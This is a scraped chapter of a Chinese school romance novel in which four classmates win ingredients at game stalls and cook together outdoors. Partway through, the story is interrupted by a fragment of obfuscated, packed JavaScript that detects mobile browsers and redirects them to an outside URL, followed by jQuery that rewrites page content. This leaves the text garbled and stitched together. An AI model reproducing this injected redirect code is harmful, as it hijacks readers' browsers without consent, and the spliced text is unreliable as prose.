他一路上遇到不少曾经教过他的老师,他们都十分关心他在分校的情况,于是,方知言同一个问题被问了不下三遍——“知言过去适不适应啊?成绩没受影响吧?”他脸上带着礼貌的微笑,十分官方地回复着统一的话术——“还好,成绩不错。” 到后边,姜岁安甚至能提前脑补出老师们会问的问题。 陈建材更是扮演着老父亲的角色,上来就给了方知言一个大大的拥抱,左一口“瘦了”,右一口“多吃点饭”。但这并没有吓到方知言,毕竟陈建材腰间钥匙串的声音自十几米外都能听见,他早就看见了他那臃肿而来的身影。 姜岁安无奈吐槽:“老师,你要把他压死了。” “谁说的,这些天我含辛茹苦分析试卷,瘦了很多好不好。”他拍了拍自己的肚子。 姜岁安和夏静雯低头给了他一个白眼。 姜岁安一把拉走方知言,朝陈建材道:“老师,你放过他吧,方知言现在可是我们的人。” 陈建材说:“行行行。” 她没注意到,方知言的脸像是年后熟透的柿子。 到达第一个摊位的时候,前边排队的人并不多,方知言瞟了一眼,只有两个小组。他示意三人看告示牌上的游戏规则,上边写着: 飞花令——出题者给出一个字或一个意象,答题者需在五秒钟说出含有该限定词的诗句。 对他们来说,难度不算大。几人按照姓氏首字母排序接龙,出题老师随便摸了一张牌,说他们抽到了“月”这个字。 方知言不慌不忙:“人有悲欢离合,月有阴晴圆缺,此事古难全。” 姜岁安庆幸,自己初中时便热衷于读辛弃疾的诗词,如今更是信手拈来:“可怜今夕月,向何处、去悠悠?” 蒋翼铭和夏静雯一人一句,四人顺利完成接龙,在摊位处登记领取了两个土豆和两个番茄。 姜岁安看到每个摊位旁都有一叠竹篮,走过去拿了一个,让扯着衣服兜起食材的蒋翼铭把它们放进去。 番茄与土豆在篮子里滚在一起打了会架就消停了,姜岁安“怒”斥他干嘛那么粗暴,蒋翼铭立马朝三人深鞠一躬,脸上却还是那副嬉皮笑脸的模样。 没等蒋翼铭把笑容收起来,方知言就突然卡在两人中间,催着姜岁安继续走。 下一个摊位的游戏是“简易数独”,摊位周边圈着好几坨学生,正对着一张方形的卡片激烈地讨论着。方知言站在桌前,双手撑在上面,右手食指有节奏地敲敲点点,几下就写完了答案。 姜岁安挤着脑袋站在他身旁,盯着他一眨一眨的眼眶和长长的睫毛。 两棵小白菜被方知言轻轻放入篮中,与蒋翼铭拌嘴了一路的夏静雯才发现方知言和姜岁安已经把游戏结束了。 她没再继续搭理蒋翼铭,一把抢过他手里的地图,上前挽着姜岁安,两人就这样蹦蹦跳跳地在前方领着路。 姜岁安的辫子像兔尾巴,低低地垂在脑后;夏静雯的辫子像马尾巴,高高地束在脑后。 方知言和蒋翼铭在后边跟着。 远远地,有处热闹吸引着女孩的脚步和目光,女孩的脚步和目光又吸引着男孩的脚步和目光。 禽类摊位的老师竟是李主任。 在方知言和姜岁安心里铁面无私的冷酷麻辣主任此时正热情地指挥着各个小组绑好脚上的绳子,雀跃地发号施令,像孩子里成熟但稚气未消的大姐大。 “来来来,拿绑带。”李主任招呼四人过去准备。 姜岁安取了三条弹力绑带,分给了夏静雯和方知言。夏静雯提议,她和姜岁安在中间,方知言和蒋翼铭分别在两侧,这样方便男生在队伍不稳的时候发力稳住重心。站定后,几人在还没束缚住脚的时候商量好了第一步迈哪只脚。 姜岁安先将自己的右脚与夏静雯的左脚绑好,夏静雯边数落边打趣地把自己的左脚和蒋翼铭的右脚绑上。方知言蹲下身子,有意收起自己放松状态下就会往外翘的小拇指,怕碰到姜岁安的脚踝。 他起身,姜岁安的碎发正拂向顺风的一侧,挠得他耳尖痒痒的、热热的,心也痒痒的、热热的。 “预备——”哨声一响,四人按照预定的计划抬脚,步子随着嘴里的“一二一”逐渐加快。方知言和蒋翼铭都是一米八的大高个,夏静雯的身高也有一米七五,速度一加快,姜岁安一米六的身体便被带得重心不稳。 姜岁安几乎整个人悠悠悬在空气里,方知言挽着她胳膊的手暗暗发力。 姜岁安从未感觉过五十米有那么长,长到冲过终点的刹那,人人的额间都沾上了湿湿的日光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276484|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她被架着,有些晃神——如果这是夏季,自己便能触碰他腕骨的温度。 就在她愣神的这段时间里,夏静雯已经低头将自己脚上的绑带解掉,前去拿鸡肉和鸡蛋了。 “姜岁安,走吧。”在自己身旁的方知言柔声道。 “好。”她唇角上扬,没有看他,跟了上去。 配料摊位的游戏也是一些简单的中英文翻译转换,对四人来说依旧没有任何难度。 他们很顺利地拿到了所有需要的食材。 …… 野炊地点铺设了许多的大木桩,那树桩年轮一圈一圈,还烙着许多斧痕。夏静雯在老家时见过爷爷奶奶砍柴,现在正学着他们的样子,先将斧沿浅浅嵌在小木桩的身沿,再连斧与木一并抬起,用巧劲将其劈成两半。 一旁的蒋翼铭连声叫好:“夏静雯功夫不减当年啊。” “那是。” “夸你两句别嘚瑟啊,快拿点来我生火了。”蒋翼铭举起领到的点火器,蹲在红砖砌成的简易灶台前,观察着已沾上草木灰的灶台内壁。 姜岁安在指挥方知言腌鸡肉:“料酒、盐、葱姜、生抽和老抽,嗯……再放点蚝油,对就是那个厚玻璃罐的那个。然后你就揉它。” 方知言的手指触碰到鸡肉的那一瞬间,陌生的触感激起了他一身的鸡皮疙瘩。 他生理性皱眉。 姜岁安抬起眼皮,嫌他动作太温柔,伸手就往铁盆里送,为鸡肉做起了马杀鸡。 他的手没来得及抽出来,被她的手一并按在肉和调料里,学着她的动作那般按压,无意触碰她温热的指节。 想到那有可能是鸡的关节,他干呕一声,差点反胃。 方知言其实并不能接受各种调料夹杂着未经温度处理的鸡肉的腥味,也不习惯鸡肉滑软又带着刺骨碾过他指尖的触感,甚至闻到鸡的骚味时,胃里直犯恶心——可姜岁安就这样站在他身边,不算聒噪,也不算安静。 “来吧,洗个手帮我切菜,”她愣了愣神,紧接道,“方知言,你耳朵冻红了,记得搽些保湿霜。” 她洗完手后,单手敲了四个鸡蛋,快速拿筷子搅散,“哒哒哒”的声音听起来十分激烈。她将油放在大铁锅里,等待温度上升时,一扭头就看到了脸上黑黑的蒋翼铭。 “哈哈哈哈哈蒋翼铭,你笑死我了。” 夏静雯闻声而来,在灶口边沾了一点煤灰,抓住蒋翼铭的胳膊,在他脸上画了六条线。“咪咪——” 蒋翼铭笑骂她“神经病”的时候,姜岁安正把蛋液倒了进去,“滋啦啦”的声音和鸡蛋的香味扑面而来。互掐的两人停止了动作,一致发出感叹。 姜岁安不知道他们到底在惊讶些啥,不好意思地笑了笑,往方知言那边看去,想观察他的反应,就看到了方知言手一滑,土豆被切飞了出去,他被划伤了手指。 “方知言——静雯你帮我翻翻鸡蛋,定型就盛到碗里,我去看看他。”她着急地说着,在夏静雯的手指触碰到锅铲的那一瞬间,快步走向方知言。 她抓起他的手腕,被菜刀割伤的口子正汩汩地向外冒着鹃色的血珠。 她掐住方知言食指的第一个指节,放在水龙头下用细小的水流冲洗着,眼见得滤嘴周围的水都染上了红。她让方知言擦干手,自己从背包里翻出了带着卡通头像的创口贴,细心地缠在他的指上。 “怎么这么不小心。”她怒嗔。 “抱歉。” “你小心点方知言,”蒋翼铭关心道,随即又用解释的语气说,“知言兄没下过厨房,我来替他切吧。姜岁安你去盯着锅吧,夏静雯会炸了厨房的。” 她急忙过去。 夏静雯在受到“批评”后十分不服气,关心了方知言后就去对蒋翼铭进行讨伐。 方知言像做错事的孩子一样站在她身边,被烟熏得睁不开眼也没走。 姜岁安呛道:“方知言,你站在这里拿点东西把这个烟帮我扇走,咳咳……我眼睛睁不开了。” 他这才发现,姜岁安是眯着眼睛做饭的。 于是照做。 此时,他的世界里好像只有她一个人——女孩上半身后仰着探手翻炒,锅铲与铁锅碰撞的声音不绝于耳,从排气口冒出的灰烟因微风而朝他们扑来,在半道又被自己手上的练习册扇退,如此斗争一番。 他面无表情地用余光偷看她——姜岁安耳根的红一点点蔓延开,直流向耳尖。